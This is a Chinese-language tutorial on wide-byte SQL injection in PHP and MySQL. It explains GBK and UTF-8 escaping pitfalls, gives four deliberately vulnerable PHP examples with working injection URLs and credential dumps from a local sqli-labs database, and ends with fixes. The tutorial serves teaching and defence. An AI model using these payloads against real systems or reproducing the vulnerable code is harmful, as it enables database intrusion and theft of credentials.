0X00 宽字节的概念

1、首先,我们来看一下mysql数据库当前的字符集使用情况

mysql> show variables like "character_set_%";
+--------------------------+----------------------------------------------------------+
| Variable_name            | Value                                                    |
+--------------------------+----------------------------------------------------------+
| character_set_client     | utf8                                                     |
| character_set_connection | utf8                                                     |
| character_set_database   | gbk                                                      |
| character_set_filesystem | binary                                                   |
| character_set_results    | utf8                                                     |
| character_set_server     | utf8                                                     |
| character_set_system     | utf8                                                     |
| character_sets_dir       | /usr/local/Cellar/mysql@5.6/5.6.38/share/mysql/charsets/ |
+--------------------------+----------------------------------------------------------+
8 rows in set (0.00 sec)

接下来使用命令SET NAMES gbk

mysql> SET NAMES gbk;
Query OK, 0 rows affected (0.00 sec)

查看数据库字符集的变化情况

mysql> show variables like "character_set_%";
+--------------------------+----------------------------------------------------------+
| Variable_name            | Value                                                    |
+--------------------------+----------------------------------------------------------+
| character_set_client     | gbk                                                      |
| character_set_connection | gbk                                                      |
| character_set_database   | gbk                                                      |
| character_set_filesystem | binary                                                   |
| character_set_results    | gbk                                                      |
| character_set_server     | utf8                                                     |
| character_set_system     | utf8                                                     |
| character_sets_dir       | /usr/local/Cellar/mysql@5.6/5.6.38/share/mysql/charsets/ |
+--------------------------+----------------------------------------------------------+
8 rows in set (0.00 sec)

从这一些列的变化中,可以发现SET NAMES gbk;影响的是client -> connection -> result这一段的链路的字符集,注意这里的链路的倒链路的编码情况也是这样的,于是为了保障不出现乱码,程序员常常把这一条链路设置为统一的字符集,比如这里的gbk。

2、这里还需要理解php代码层和mysql层,通常防注入脚本写在php的代码层,也就是说php在向mysql发送数据库查询语句时,查询语句中是混有恶意代码和防注入的字符的。当mysql拿到这样的查询语句时,会根据当前的字符集去处理,于是就有可能我们的恶意代码和防注入字符(比如转义斜杆)被一起识别为一个正常的字符而造成注入

0X01 有问题的字符集

1、常见的缺陷代码如下

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

GB2312、GBK、GB18030、BIG5、Shift_JIS这些都是常说的宽字节,其实这个宽字节也不是“太宽”,只有两个字节。这里的“宽”,我理解的是和ascii这类字符集相比较宽

2、相对安全的GB2312

为何这样说?如果我们的防御sql注入的方法是用”"去转义一些字符的话,\的编码为0x5c,而我们的GB2312的编码范围如下

0xA1A1-0xFEFE

其中,汉字的编码范围为

第一字节(高位)0xB0-0xF7
第二字节(低位)0xA1-0xFE

我们主要关注这个低位,因为我们想要去”吃掉”这个转义的反斜杆,这个反斜杆必然出现在第二位,也就是低位,可以发现这个转义字符不在GB2312的低位编码范围内,所以是相对安全的

3、危险的GBK

作为扩展的字符集,GBK的编码范围比GB2312的编码范围要大的多,GBK的编码范围为

8140-FEFE

可以看出其第二字节低位的编码范围为

0x40-0xFE

我们的转义斜杆就在其中,这里的GB18030,big5也是在其中的,不再赘述。

4、缺陷字符集特征

这里觉得还是有必要去总结下什么样的字符集可能会产生宽字节注入,结论先行:

  1. 字符集必须为宽字节或者多字节
  2. 0x5c必须在字符集的低位有出现

这两个特征也就决定了为什么utf8不会出现这种情况。这里有必要介绍下utf8。utf8作为unicode的一种实现,是一种变长编码方式,也就是其有可能存在1~3字节的编码值,具体如下:

First code point Last code point Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 Byte 6  
U+0000 U+007F 0xxxxxxx - - - - -  
U+0080 U+07FF 110xxxxx 10xxxxxx - - - -  
U+0800 U+FFFF 1110xxxx 10xxxxxx 10xxxxxx - - -  
U+10000 U+1FFFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx - -  
U+200000 U+3FFFFFF 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx -  
U+4000000 U+7FFFFFFF 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 

这里有两个疑问,其实也是起初我看到这张表时的疑问。

  1. 上文说的uft-8是1到3位的变长编码,为什么这里会有6字节的编码存在呢?其实很简单utf-8只是unicode的一种实现,目前就Wikipedia上的记录Codepage layout来看cjk主要分布在3个字节的位置,并且出现在4字节的字符较少。

  2. 其二,我最初的疑问是,从上面这张表来看我们的%5C是覆盖在First code point到Last code point之间的,为什么我们不能用utf-8宽字节注入呢?首先,作为万国码,unicode中是的确会出现低位为%5C的情况的,但是“unicode只是一个字符集,它只是规定了符号的二进制码,却没有去规定这段二进制代码应该如何去存储”,而我们的utf8在实现unicode存储的时候,首先找到字符对应的unicode码,比如,“严”这个字的unicode码为4E25(0100111000100101),根据上表的规则其出现在第三行,那么就需要把这串二进制码从后往前依次填进第三行的编码规则中,也就是“严”对应的utf8的码值为11100100 10111000 10100101也就是十六进制的E4B8A5(具体细节可以看下面的实验),所以按照utf8的存储规则在其低位永远以10开头,也就永远不会出现5C(01011100)

    echo "严" >> unicodeTest.txt
    file unicodeTest.txt
    unicodeTest.txt: UTF-8 Unicode text
    xxd unicodeTest.txt
    00000000: e4b8 a50a
    

0X02 addslashes和mysql(i)_real_escape_string

的确,这两个函数单从本意上来说都是对特殊字符进行转义,但是相比之下mysql(i)_real_escape_strint会比addslashes要来的安全,只是一般情况,如在上文提到的缺陷代码中两者是同样不安全的。

鸟叔在其博客深入理解SET NAMES和mysql(i)_set_charset的区别中提到了php手册中推荐mysql(i)_set_charset来声明字符集,究其原因,鸟叔提到mysql(i)_set_charset除了会完成SET NAMES的工作外还会去声明mysql->charset的值,而mysql(i)_real_escape_string转义函数会根据mysql->charset声明的字符集,使用不同的策略去转义字符,addslash不会考虑mysql->charset,所以较为危险,于是下面这种写法会安全的多

mysql_set_charset("gbk");
$id = mysql_real_escape_string($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

0X03 缺陷代码总结

下文所使用到的代码,github地址为:https://github.com/nancheal/multi-bytes-inject

所使用的数据库为sqli-lab的数据库,github地址为:https://github.com/Audi-1/sqli-labs

1、 gbk带来的风险之mysqli_query(“set NAMES gbk”)

<?php
include_once("con.php");
if(!$_GET["userName"]){
    die("please input GET method userName param");
}
$userName = mysqli_real_escape_string($con,$_GET["userName"]);
$sql = "select * from users where username = '{$userName}'";
mysqli_query($con,"set NAMES gbk");
$result = mysqli_query($con,$sql);
if(!$result){
    die(mysqli_error($con));
}
while($row = mysqli_fetch_row($result)){
    printf("userName : %s <br /> pass : %s <br />",$row[1],$row[2]);
}
mysqli_free_result($result);
mysqli_close($con);
?>

这段代码就是典型的gbk“吃”字符的问题了,通过mysqli_query(“set NAMES gbk”)把整个数据库的传输过程中的编码都设置为了gbk,字符是在查询的过程中被吃掉了

poc

http://127.0.0.1/multi-bytes-inject-1.php?userName=Dumb%df%27%20or%201=1%20%23

result

userName : Dumb 
pass : Dumb 
userName : Angelina 
pass : I-kill-you 
userName : Dummy 
pass : p@ssword 
userName : secure 
pass : crappy 
userName : stupid 
pass : stupidity 
userName : superman 
pass : genious 
userName : batman 
pass : mob!le 
userName : admin 
pass : admin 
userName : admin1 
pass : admin1 
userName : admin2 
pass : admin2 
userName : admin3 
pass : admin3 
userName : dhakkan 
pass : dumbo 
userName : admin4 
pass : admin4

2、 incov带来的风险 gbk -> utf-8

这个问题可能会出现在统一字符集操作的位置,比如用户输入gbk,后台数据库服务器为utf-8,这里的问题出现在转码之前

<?php
include_once("con.php");
if(!$_GET['userName']){
    die("please input GET method userName param");
}
$userName = mysqli_real_escape_string($con,$_GET['userName']);
$encodeuserName = iconv("GBK","UTF-8",$userName);
$sql = "select * from users where username = '{$encodeuserName}'";
$result = mysqli_query($con,$sql);
if(!$result){
    die(mysqli_error($con));
}
while($row = mysqli_fetch_row($result)){
    printf("userName : %s <br /> pass : %s <br />",$row[1],$row[2]);
}
mysqli_free_result($result);
mysqli_close($con);
?>

上面这段代码的问题和第一个问题不太一样,这里的问题出在php代码层,虽然这里的利用和第一个问题的利用是一样的,但是这里的gbk“吃“字符出现在php代码中的编码转换中也就是在gbk -> utf-8之前,输入的值就经过“吃“字符,“吃”掉了转义符号,后面的流程就是一样的了

poc

http://127.0.0.1/multi-bytes-inject-2.php?userName=Dumb%df%27%20or%201=1%20%23

result

userName : Dumb 
pass : Dumb 
userName : Angelina 
pass : I-kill-you 
userName : Dummy 
pass : p@ssword 
userName : secure 
pass : crappy 
userName : stupid 
pass : stupidity 
userName : superman 
pass : genious 
userName : batman 
pass : mob!le 
userName : admin 
pass : admin 
userName : admin1 
pass : admin1 
userName : admin2 
pass : admin2 
userName : admin3 
pass : admin3 
userName : dhakkan 
pass : dumbo 
userName : admin4 
pass : admin4

3、 incov带来的风险 utf-8 -> gbk

还是刚才的内容,只是把utf-8和gbk的位置颠倒下,这里的问题出现在转码之后

<?php
include_once("con.php");
if(!$_GET['userName']){
    die("please input GET method userName param");
}
$userName = mysqli_real_escape_string($con,$_GET['userName']);
#$encodeuserName = iconv("GBK","UTF-8",$userName);
$encodeuserName = iconv("UTF-8","GBK",$userName);
$sql = "select * from users where username = '{$encodeuserName}'";
$result = mysqli_query($con,$sql);
if(!$result){
    die(mysqli_error($con));
}
while($row = mysqli_fetch_row($result)){
    printf("userName : %s <br /> pass : %s <br />",$row[1],$row[2]);
}
mysqli_free_result($result);
mysqli_close($con);
?>

这里既是问题也是出在php的代码层,我们之前针对gbk编码的poc也不再生效。这里我们考虑这样一种情况在utf-8中是否存在这样一个字符,在其在被转向gbk之后,在生成的gbk编码中低位为%5c,其实这样的字符有很多,只需要找个utf-8、gbk互相转换工具一转就好了,E98CA6(‘錦’)是前辈们经常使用的一个字符,其对应的gbk为E55C 也就是说其在有转义符号的情况下会生成这样的序列E55C5C(E5\\)看见了吗转义符现在变成了普通的反斜杠了,注入产生

poc

http://127.0.0.1/multi-bytes-inject-2.php?userName=Dumb%E9%8C%A6%27%20or%201=1%20%23

result

userName : Dumb 
pass : Dumb 
userName : Angelina 
pass : I-kill-you 
userName : Dummy 
pass : p@ssword 
userName : secure 
pass : crappy 
userName : stupid 
pass : stupidity 
userName : superman 
pass : genious 
userName : batman 
pass : mob!le 
userName : admin 
pass : admin 
userName : admin1 
pass : admin1 
userName : admin2 
pass : admin2 
userName : admin3 
pass : admin3 
userName : dhakkan 
pass : dumbo 
userName : admin4 
pass : admin4 

4、 转义处理出现在iconv“之后”

之前的3个场景虽说poc或者原理不同,但是它们有一点是相通的,那就是它们的“转义操作”都是出现在设置字符集或者字符集转换之前的,也就是说在“字符操作”之前,输入的恶意数据和过滤插入的转义字符完成了混合,也就有可能在后面的字符操作时被“吃”掉,如果“转义操作”出现在“字符操作之后”呢

<?php
include_once("con.php");
if(!$_GET["userName"]){
    die("please input GET method userName param");
}
$encodeuserName = iconv("UTF-8", "gbk", $_GET["userName"]);
$userName = mysqli_real_escape_string($con, $encodeuserName);
echo $userName;
$sql = "select * from users where username = '{$userName}'";
mysqli_query($con,"set NAMES gbk");
$result = mysqli_query($con,$sql);
if(!$result){
    die(mysqli_error($con));
}
while($row = mysqli_fetch_row($result)){
    printf("username : %s <br /> pass : %s",$row[0], $row[1]);
}
mysqli_free_result($result);
mysqli_close($con);
?>

上面这段代码,利用方法和场景3一样

poc

http://127.0.0.1/multi-bytes-inject-3.php?userName=Dumb%E9%8C%A6%27%20or%201=1%20%23

result

Dumb�\\\' or 1=1 #username : 1 
pass : Dumbusername : 2 
pass : Angelinausername : 3 
pass : Dummyusername : 4 
pass : secureusername : 5 
pass : stupidusername : 6 
pass : supermanusername : 7 
pass : batmanusername : 8 
pass : adminusername : 9 
pass : admin1username : 10 
pass : admin2username : 11 
pass : admin3username : 12 
pass : dhakkanusername : 14 
pass : admin4

但是发现了没有在我echo的地方插入的结果为Dumb�\\\'也就是说这里的转义符转义是成功的,问题还是出现在下面的mysqli_query($con,"set NAMES gbk");上,其实这里的“之后”,本质上也还是在“字符操作”前进行了转义的操作

其实我想了很久为什么这里会需要去mysqli_query($con,"set NAMES gbk");在我把这一行的代码注释掉后,再去访问链接,页面爆出了错误

Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation '='

也就是说在取出sql语句执行结果时内部的字符集是两个不同字符集的字符串,这里先mark一下,还是有点迷糊,目前理解就是为了保证程序正常运行所以会加上这一句。

0X04 黑盒检测思路

首先给出结论sqlmap不能跑出宽字节的注入,除非你在输入的是下面这样的数据包python sqlmap.py -u "http://127.0.0.1/multi-bytes-inject-2.php?userName=Dumb%df"

我的思路在sqlmap的boundaries.xml中加入带有上面这样字符的boundaries来使sqlmap能够检测宽字节注入

E98CA6这个字符不能作为我们的选择因为gbk -> utf-8的场景也就是场景2的场景下,A65C不是一个gbk字符导致iconv会报错,如下

iconv(): Detected an illegal character in input string

这里我选择的是E98E88作为检测的boundaries,可以覆盖上面的四种场景

0X05 修复思路

  1. 设置character_set_client=binary原因详见从安全角度深入理解MySQL编码转换机制

  2. 使用mysqli_set_charset替换set NAMES gbk,尽量使用mysqli_real_escape_string替换addslashes,如果一定要使用addslashes参见第一种方法

0X06 参考

浅析白盒审计中的字符编码及SQL注入

宽字节注入深入研究